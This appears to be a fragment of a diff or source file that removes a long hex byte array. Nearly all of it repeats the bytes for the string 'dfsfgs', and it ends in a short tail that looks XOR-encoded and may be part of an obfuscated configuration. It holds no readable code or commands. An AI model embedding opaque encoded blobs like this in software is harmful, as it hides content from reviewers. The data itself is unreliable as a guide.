-0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, -0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, -0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, 0x64, 0x66, 0x73, 0x66, 0x67, 0x73, -0x28, 0x09, 0x10, 0x07, 0x0b, 0x2f, 0x0e, 0x15, 0x4b, 0x15, 0x0d, 0x3b, 0x25, 0x2c, 0x21, 0x34, -0x3f, 0x1e, 0x2f, 0x0c, 0x17, 